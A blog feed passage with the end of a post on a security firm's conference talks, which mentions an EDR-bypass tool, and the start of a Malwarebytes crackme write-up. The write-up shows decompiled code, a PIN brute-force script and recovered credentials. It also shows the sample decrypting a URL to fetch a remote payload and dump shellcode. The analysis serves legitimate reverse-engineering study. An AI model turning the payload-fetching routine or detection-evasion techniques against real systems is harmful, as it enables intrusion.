<p style="text-align: justify;">The replay of the talk at Bsides Las Vegas is available on YouTube (<a href="https://youtu.be/a3SeASgtINY">https://youtu.be/a3SeASgtINY</a>).</p>
<p style="text-align: justify;"><em>By Rémi ESCOURROU (@remiescourrou), Gauthier SEBAUX (@zeronounours) and Xavier GERONDEAU (@reivaxxavier1).</em></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Industrial Control Systems</h2>
<p style="text-align: justify;">This year, we taught 2 workshops on ICS cybersecurity at DEFCON:</p>
<h3 style="text-align: justify;">An updated version of our very popular “Pentesting ICS 101” workshop</h3>
<p style="text-align: justify;">We covered the basic of ICS and shared some feedback on the state of ICS cybersecurity. Then, using pre-configured virtual machines we learned how to exchange data with PLCs. This was then put into practice on real hardware with our model train setup:</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18808" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/Image3-summercamps.jpg" alt="" width="1050" height="849" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/Image3-summercamps.jpg 1050w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/Image3-summercamps-236x191.jpg 236w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/Image3-summercamps-48x39.jpg 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/09/Image3-summercamps-768x621.jpg 768w" sizes="auto, (max-width: 1050px) 100vw, 1050px" /></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">A whole new workshop on PLC code security</h2>
<p style="text-align: justify;">We also started with an introduction to ICS, then dived into programming a software PLC, and demonstrating how applying practices from the <a href="https://www.plc-security.com">PLC TOP20</a> can prevent attacks and/or help detect them.</p>
<p style="text-align: justify;">To do this, we also created a very simplified process simulation that connects to the PLC simulator, that we also release. This could be used and adapted for ICS awareness and training.</p>
<p style="text-align: justify;"><a href="https://github.com/wavestone-cdt/plc-code-security">GitHub &#8211; wavestone-cdt/plc-code-security: Experiments with the Top 20 Secure PLC Coding Practices</a></p>
<p style="text-align: justify;">You can find our process simulation here : https://github.com/arnaudsoullie/simple-process-simulation</p>
<h2 style="text-align: justify;"> </h2>
<h2 style="text-align: justify;">DEFCON30 demo lab: EDRSandblast</h2>
<p style="text-align: justify;">We shared a new and improved version of EDRSandblast during Demo Lab sessions at DEFCON 30. It was the occasion to introduce and detail the detection mechanisms employed by EDRs (user-land hooking, kernel callbacks, ETW Threat Intelligence provider …), to show how to get around them, as well as to showcase the new features of our tool. On the list of updated features: a new detection mechanism is recognized and bypassed by the tool, multiple vulnerable drivers are now supported, EDRSandblast can now be included as a library in a third-party project, and much more!</p>
<p style="text-align: justify;">You can find the full list of updates, as well as the presentation on GitHub: <a href="https://github.com/wavestone-cdt/EDRSandblast/blob/DefCon30Release/DEFCON30-DemoLabs-EDR_detection_mechanisms_and_bypass_techniques_with_EDRSandblast-v1.0.pdf">https://github.com/wavestone-cdt/EDRSandblast/blob/DefCon30Release/DEFCON30-DemoLabs-EDR_detection_mechanisms_and_bypass_techniques_with_EDRSandblast-v1.0.pdf</a></p>
<p style="text-align: justify;"><em>By Maxime MEIGNAN (@th3m4ks) and Thomas DIOT (@_Qazeer).</em></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">SANS DFIR Summit 2022</h2>
<p style="text-align: justify;">In this talk, we gave a brief overview of an AD forest recovery procedure and focused on different means of persistence leveraged by threat actors in Active Directory, some well-known, other less so. Some features of the newly released FarsightAD PowerShell toolkit were also demoed, such as the detection of fully or partially hidden objects using the Directory Replication Service protocol. More techniques are covered in the slides than what was presented during the talk, so check the deck out!</p>
<p style="text-align: justify;">You can find the slides and FarsightAD here: <a href="https://github.com/Qazeer/FarsightAD">https://github.com/Qazeer/FarsightAD</a></p>
<p style="text-align: justify;"><em>By Thomas DIOT (@_Qazeer).</em></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Happy reading, happy testing, hack the planet <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" alt="😊" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/10/wavestones-cyber-summer/">Wavestone’s cyber summer</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/10/wavestones-cyber-summer/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Malwarebytes challenge write-up</title>
		<link>https://www.riskinsight-wavestone.com/en/2018/06/malwarebytes-challenge-write-up/</link>
		
		<dc:creator><![CDATA[Maxime Meignan]]></dc:creator>
		<pubDate>Tue, 12 Jun 2018 09:00:39 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15584</guid>

					<description><![CDATA[<p>Malwarebytes published on April 27th a new reverse engineering challenge, an executable mixing malware behavior with a traditional crackme look. It came in the form of a Windows executable This document describes the solving step of the challenge. Lightweight analysis...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/06/malwarebytes-challenge-write-up/">Malwarebytes challenge write-up</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15585 media-15585" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15585 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1.png" alt="" width="320" height="150" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1-71x33.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: left;"><span style="text-align: justify;">Malwarebytes published on April 27th a new reverse engineering challenge, an executable mixing malware behavior with a traditional crackme look. It came in the form of a Windows executable</span></div>
<p>This document describes the solving step of the challenge.</p>
<h2><span style="text-align: center;">Lightweight analysis of “mb_crackme_2.exe”</span></h2>
<div style="text-align: justify;">
<p>As we would do with any real malware, we start by performing some basic information gathering on the provided executable. Even if the static and dynamic approaches gave us similar conclusions on the executable’s nature (see 2.4), the different methods have been described nonetheless in the following sections.</p>
<h3>Basic static information gathering</h3>
<p>Using <b>Exeinfo PE</b>, a maintained successor of the renowned (but outdated) <b>PEiD</b> software, gives us some basic information about the binary:</p>
<ul>
<li> The program is a <b>32 bits Portable Executable</b> (PE), meant to be run in console (no GUI);</li>
<li> It seems to be compiled from C++ using Microsoft Visual C++ 8;</li>
<li> No obvious sign of packing is detected by the tool.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15587 media-15587" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15587 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2.png" alt="" width="518" height="255" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2.png 518w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-388x191.png 388w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-71x35.png 71w" sizes="auto, (max-width: 518px) 100vw, 518px" /></figure>
<p><i><span style="font-size: x-small;">Output of Exeinfo PE</span></i>
</div>
<p>Looking for printable strings in the binary already gives us some hints about the executable’s nature:
</p></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="font-family: inherit;"><span style="font-size: small;">$ strings -n 10 mb_crackme_2.exe_
[...]
<span style="color: red;"><b>pyi</b></span>-windows-manifest-filename
[...]
<span style="color: red;"><b>Py</b></span>_IgnoreEnvironmentFlag
Failed to get address for <b><span style="color: red;">Py</span></b>_IgnoreEnvironmentFlag
<span style="color: red;"><b>Py</b></span>_NoSiteFlag
Failed to get address for <span style="color: red;"><b>Py</b></span>_NoSiteFlag
Py_NoUserSiteDirectory
[...]
m<span style="color: red;"><b>pyi</b></span>mod01_os_path
m<span style="color: red;"><b>pyi</b></span>mod02_archive
m<span style="color: red;"><b>pyi</b></span>mod03_importers
s<span style="color: red;"><b>pyi</b></span>boot01_bootstrap
s<span style="color: red;"><b>pyi</b></span>_rth__tkinter
bCrypto.Cipher._AES.<span style="color: red;"><b>pyd</b></span>
bCrypto.Hash._SHA256.<span style="color: red;"><b>pyd</b></span>
bCrypto.Random.OSRNG.winrandom.<span style="color: red;"><b>pyd</b></span>
bCrypto.Util._counter.<span style="color: red;"><b>pyd</b></span>
bMicrosoft.VC90.CRT.manifest
bPIL._imaging.<span style="color: red;"><b>pyd</b></span>
bPIL._imagingtk.<span style="color: red;"><b>pyd</b></span>
[...]
o<span style="color: red;"><b>pyi</b></span>-windows-manifest-filename another.exe.manifest
[...]
zout00-PYZ.<span style="color: red;"><b>pyz</b></span>
<span style="color: red;"><b>python27.dll</b></span></span></span>
</pre>
</div>
<p>Many references to <b>Python libraries</b>, <b>PYZ</b> archives and “<b>pyi</b>” substring indicates the use of the <b>PyInstaller</b> utility to build a PE executable from a Python script.</p>
<h3>Basic dynamic information gathering</h3>
<p>Running the executable (in a sandboxed environment) gives us the following message:</p>
<figure id="post-15672 media-15672" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15672 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1.png" alt="" width="454" height="785" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1.png 454w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1-110x191.png 110w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1-23x39.png 23w" sizes="auto, (max-width: 454px) 100vw, 454px" /></figure>
<figure id="post-15589 media-15589" class="align-none"></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>Using <b>Process Monitor</b>, from <a href="https://docs.microsoft.com/en-us/sysinternals/">SysInternals Tools Suit</a><a href="https://www.blogger.com/null">e</a> , allows us to quickly get a glimpse of the actions performed by the executable:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-15591 size-full" style="text-align: center;" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4.png" alt="" width="640" height="328" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4-373x191.png 373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4-71x36.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>A temporary directory named “<b>_MEI5282</b>” is created under user’s “<b>%temp%</b>” directory, and filled with <b>Python-related resources</b>. In particular, “<b>python27.dll</b>” and “<b>*.pyd</b>” libraries are written and later loaded by the executable.</p>
<p>This behavior is typical of executables generated by PyInstaller.
</p></div>
<div style="text-align: justify;">
<div style="text-align: justify;">
<figure id="post-15593 media-15593" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15593 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5.png" alt="" width="640" height="312" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-392x191.png 392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-71x35.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<h3 style="text-align: justify;">Error-handling analysis</h3>
<div style="text-align: justify;">Without tools, it is often possible to quickly get information about a binary’s internals by <b>testing its error handling</b>. For example, inserting an <b>EOF</b> (End-Of-File) signal in the terminal (“Ctrl+Z + Return” on Windows Command Prompt) makes the program crash, printing the following information:</div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15595 media-15595" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15595 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6.png" alt="" width="461" height="262" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6.png 461w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-336x191.png 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-69x39.png 69w" sizes="auto, (max-width: 461px) 100vw, 461px" /></figure>
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Python stack trace printed after a crash</span></i></div>
<p>This allows us to identify the presence of a Python program embedded inside the executable and gives us the name of the main script:<b> another.py.</b> The error message “[$PID] Failed to execute script $scriptName” is typical of <b>PyInstaller</b>-produced programs.
</div>
<h3 style="text-align: justify;">Python files extraction and decompilation</h3>
<div style="text-align: justify;">Every lightweight analysis presented previously points out that the executable has been built using <b>PyInstaller</b>.<br />
The <a href="https://0xec.blogspot.fr/2017/11/pyinstaller-extractor-updated-to-v19.html"><b>PyInstaller Extractor</b></a>  program can be used to extract python-compiled resources from the executable.</div>
<div style="text-align: justify;"></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ python pyinstxtractor.py mb_crackme_2.exe
[*] Processing mb_crackme_2.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 27
[*] Length of package: 8531014 bytes
[*] Found 931 files in CArchive
[*] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap
[+] Possible entry point: pyi_rth__tkinter
[+] Possible entry point: <b><span style="color: red;">another</span></b>
[*] Found 440 files in PYZ archive
[*] Successfully extracted pyinstaller archive: mb_crackme_2.exe

You can now use a python decompiler on the pyc files within the extracted directory</pre>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">As previously seen, the most interesting file is “<b>another</b>”, as it should contain the “main” function.</div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15597 media-15597" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15597 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7.png" alt="" width="400" height="88" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7-71x16.png 71w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Files extracted by PyInstaller Extractor</span></i></div>
<p>&nbsp;
</p></div>
<div style="text-align: justify;">A quick <a href="https://hshrzd.wordpress.com/2018/01/26/solving-a-pyinstaller-compiled-crackme/">Internet search</a>  informs us that in a PYZ archive, the main file is in fact a *<b>.pyc file</b> (Python bytecode) from which the<b> first 8 bytes</b>, containing its signature, <b>have been removed</b>. Looking the hex dump of <b>another *.pyc </b>file of the archive confirms this statement and gives us the correct signature for Python 2.7 bytecode files (in purple).</div>
<div style="text-align: justify;"></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ hexdump -C another | head -n 3
00000000  <span style="color: red;"><b>63 00 00 00 00 00 00 00  00 03 00 00 00 40 00 00</b></span>  |c............@..|
00000010  00 73 03 02 00 00 64 00  00 5a 00 00 64 01 00 5a  |.s....d..Z..d..Z|
00000020  01 00 64 02 00 5a 02 00  64 03 00 64 04 00 6c 03  |..d..Z..d..d..l.|
$ hexdump -C out00-PYZ.pyz_extracted/cmd.pyc | head -n 3
00000000  <b><span style="color: purple;">03 f3 0d 0a 00 00 00 00</span></b>  <span style="color: red;"><b>63 00 00 00 00 00 00 00</b></span>  |.ó......c.......|
00000010  <span style="color: red;"><b>00 03 00 00 00 40 00 00</b></span>  00 73 4c 00 00 00 64 00  |.....@...sL...d.|
00000020  00 5a 00 00 64 01 00 64  02 00 6c 01 00 5a 01 00  |.Z..d..d..l..Z..|</pre>
</div>
<p>Restoring the file’s signature produces a correct Python bytecode file.</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ cat &lt;(printf "\x03\xf3\x0d\x0a\x00\x00\x00\x00") another &gt; another.pyc
$ file another.pyc
another.pyc: python 2.7 byte-compiled</pre>
</div>
</div>
<div style="text-align: justify;">
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Using the <a href="https://github.com/rocky/python-uncompyle6">uncompyle6</a>  decompilation tool, we can easily recover the original source code of <b>another.py</b>.</div>
<div style="text-align: justify;"></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ uncompyle6 another.pyc &gt; another.py</pre>
</div>
<div style="text-align: justify;"></div>
<h1 style="text-align: justify;">Stage 1: login</h1>
<div style="text-align: justify;">Looking at the <b>main()</b> function of <b>another.py</b>, we see that the first operations are performed by the <b>stage1_login()</b> function.</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def</span> <span style="color: magenta;">main</span>():
    key = <span style="color: red;">stage1_login</span>()
    <span style="color: blue;">if not</span> check_if_next(key):
        <span style="color: blue;">return</span>
    <span style="color: blue;">else</span>:
        content = decode_and_fetch_url(key)
        <span style="color: blue;">if </span>content <span style="color: blue;">is None</span>:
            <span style="color: blue;">print </span><span style="color: #666666;">'Could not fetch the content'</span>
            <span style="color: blue;">return </span>-<span style="color: red;">1</span>
        decdata = get_encoded_data(content)
        <span style="color: blue;">if not </span>is_valid_payl(decdata):
            <span style="color: blue;">return </span>-<span style="color: red;">3</span>
        <span style="color: blue;">print </span>colorama.Style.BRIGHT + colorama.Fore.CYAN
        <span style="color: blue;">print </span><span style="color: #666666;">'Level #2: Find the secret console...'</span>
        <span style="color: blue;">print </span>colorama.Style.RESET_ALL
        <span style="color: #6aa84f;">#load_level2(decdata, len(decdata))</span>
        dump_shellcode(decdata, len(decdata))
        user32_dll.MessageBoxA(<span style="color: blue;">None</span>, <span style="color: #666666;">'You did it, level up!'</span>, 'Congrats!', <span style="color: red;">0</span>)
        <span style="color: blue;">try</span>:
            <span style="color: blue;">if </span>decode_pasted() == <span style="color: blue;">True</span>:
                user32_dll.MessageBoxA(<span style="color: blue;">None</span>, <span style="color: #666666;">'''Congratulations! Now save your flag
and send it to Malwarebytes!'''</span>, <span style="color: #666666;">'You solved it!'</span>, <span style="color: red;">0</span>)
                <span style="color: blue;">return </span><span style="color: red;">0</span>
            user32_dll.MessageBoxA(<span style="color: blue;">None</span>, <span style="color: #666666;">'See you later!'</span>, <span style="color: #666666;">'Game over'</span>, <span style="color: red;">0</span>)
        <span style="color: blue;">except</span>:
            <span style="color: blue;">print </span>'Error decoding the flag'
        <span style="color: blue;">return</span></pre>
</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">stage1_login</span>():
    show_banner()
    <span style="color: blue;">print </span>colorama.Style.BRIGHT + colorama.Fore.CYAN
    <span style="color: blue;">print </span><span style="color: #666666;">'Level #1: log in to the system!'</span>
    <span style="color: blue;">print </span>colorama.Style.RESET_ALL
    login = raw_input('login: ')
    password = getpass.getpass()
    <span style="color: blue;">if not </span>(<span style="color: red;">check_login</span>(login) <span style="color: blue;">and </span><span style="color: red;">check_password</span>(password)):
        <span style="color: blue;">print </span><span style="color: #666666;">'Login failed. Wrong combination username/password'</span>
        <span style="color: blue;">return </span>None
    <span style="color: blue;">else</span>:
        PIN = raw_input('PIN: ')
        <span style="color: blue;">try</span>:
            key = <span style="color: red;">get_url_key</span>(int(PIN))
        <span style="color: blue;">except</span>:
            <span style="color: blue;">print </span><span style="color: #666666;">'Login failed. The PIN is incorrect'</span>
            <span style="color: blue;">return None</span>
        <span style="color: blue;">if not </span><span style="color: red;">check_key</span>(key):
            <span style="color: blue;">print </span><span style="color: #666666;">'Login failed. The PIN is incorrect'</span>
            <span style="color: blue;">return None</span>
        <span style="color: blue;">return </span>key</pre>
</div>
<p>Three user inputs are successively checked: the user’s <b>login</b>, <b>password </b>and <b>PIN </b>code.</p>
<h3>Finding the login</h3>
<div style="text-align: justify;">The check_login() function&#8217;s code is completely transparent :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">check_login</span>(login):
    <span style="color: blue;">if </span>login == <span style="color: red;">'hackerman'</span>:
        <span style="color: blue;">return True</span>
    <span style="color: blue;">return False</span></pre>
</div>
<p>We have found the login, let&#8217;s search for the password.</p>
<figure id="post-15599 media-15599" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15599 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8.jpg" alt="" width="320" height="180" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8.jpg 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8-69x39.jpg 69w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Expected login</span></i></div>
<div class="separator" style="clear: both; text-align: left;"></div>
</div>
<h3>Finding the password</h3>
<p>The <b>check_password</b>() function hashes user’s input using the <b>MD5 </b>hash function, and compares the result with an hardcoded string:</p>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">check_password</span>(password):
    my_md5 = hashlib.md5(password).hexdigest()
    <span style="color: blue;">if </span>my_md5 == '42f749ade7f9e195bf475f37a44cafcb':
        <span style="color: blue;">return True</span>
    <span style="color: blue;">return False</span></pre>
</div>
<p>A quick Internet search of this string gives us the corresponding cleartext password: <b>Password123</b>.</p>
<figure id="post-15601 media-15601" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15601 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9.png" alt="" width="640" height="240" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-71x27.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Finding the password on a search engine</span></i></div>
<h3>Finding the PIN code</h3>
<p>The PIN code is read from standard input, converted into an<b> integer</b> (cf. stage1_login()<b> </b>function), and passed to the <b>get_url_key() </b>function:</p>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def</span> <span style="color: magenta;">get_url_key</span>(my_seed):
    random.seed(my_seed)
    key = ‘’
    <span style="color: blue;">for </span>I <span style="color: blue;">in </span>xrange(0, 32):
        id = random.randint(0, 9)
        key += str(id)
    <span style="color: blue;">return </span>key</pre>
</div>
<p>This function derives a<b> pseudo-random 32 digits</b> key from the PIN code, using it as a <b>seed </b>for Python’s PRNG. The generated key is then verified using the <b>check_key()</b> function, where its MD5 sum is checked against another hardcoded value.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">check_key</span>(key):
    my_md5 = hashlib.md5(key).hexdigest()
    <span style="color: blue;">if </span>my_md5 == '<span style="color: red;">fb4b322c518e9f6a52af906e32aee955</span>':
        <span style="color: blue;">return </span>True
    <span style="color: blue;">return </span>False</pre>
</div>
<p>The key space is obviously <b>too large to be brute-forced</b>, as a 32-digits string corresponds to 10^32 (~2^106) possible combinations. However, <b>we can brute-force the PIN</b> code, being an integer, using the following code:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">from </span>another <span style="color: blue;">import </span>get_url_key, check_key
PIN = 0
<span style="color: blue;">while True</span>:
    key = get_url_key(PIN)
    <span style="color: blue;">if </span>check_key(key):
        <span style="color: blue;">print </span>PIN
        <span style="color: blue;">break</span>
    PIN += 1</pre>
</div>
<p>The solution is obtained in a few milliseconds:</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ python bruteforcePIN.py
9667</pre>
</div>
<h3>Testing credentials</h3>
<p>Using the credentials found in the previous step completes the first stage of the challenge.</p>
<figure id="post-15603 media-15603" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15603 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10.png" alt="" width="400" height="148" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10-71x26.png 71w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Validating stage 1</span></i></div>
<p>Clicking “Yes” makes the executable pause after printing the following message in the console:</p>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15605 media-15605" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15605 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11.png" alt="" width="320" height="96" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11-71x21.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Waiting for us to find a &#8220;secret console&#8221;</span></i></div>
<p>Let’s find that secret console!</p>
<h1>Stage 2: the secret console</h1>
<h3>Payload download and decoding</h3>
<p>Continuing our analysis of the main() function, the next function to be called after credentials verification is <b>decode_and_fetch_url()</b>, with the previously calculated 32-digits key given as argument:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">decode_and_fetch_url</span>(key):
    <span style="color: blue;">try</span>:
        encrypted_url = <span style="color: #444444;">'\xa6\xfa\x8fO\xba\x7f\x9d\[...]\xfe'</span>
        aes = AESCipher(bytearray(key))
        output = aes.decrypt(encrypted_url)
        full_url = output
        content = fetch_url(full_url)
    <span style="color: blue;">except</span>:
        <span style="color: blue;">return None</span>
    <span style="color: blue;">return </span>content</pre>
</div>
<p>A URL is decrypted using an <b>AES </b>cipher and the 32-digits key. The resource at this URL is then downloaded and its content returned by the function.<br />
To get the decrypted URL, we simply add some <b>logging</b> instructions to the original code of another.py, which can be run independently of mb_crackme_2.exe (given that the required dependencies are present on our machine).</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>[...]
        full_url = output
        print "DEBUG : URL fetched is : %s " % full_url #added from original code
        content = fetch_url(full_url)
[...]</pre>
</div>
<p>The result execution is the following:</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>login: hackerman
Password:
PIN: 9667
<span style="color: red;">DEBUG : URL fetched is : https://i.imgur.com/dTHXed7.png</span></pre>
</div>
<p>The decrypted URL hosts the PNG image displayed bellow:</p>
<figure id="post-15607 media-15607" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15607 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12.png" alt="" width="267" height="267" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12.png 267w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-191x191.png 191w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-39x39.png 39w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-32x32.png 32w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-64x64.png 64w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-96x96.png 96w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-128x128.png 128w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-70x70.png 70w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-175x175.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-130x130.png 130w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-115x115.png 115w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-30x30.png 30w" sizes="auto, (max-width: 267px) 100vw, 267px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Image downloaded by the executable</span></i></div>
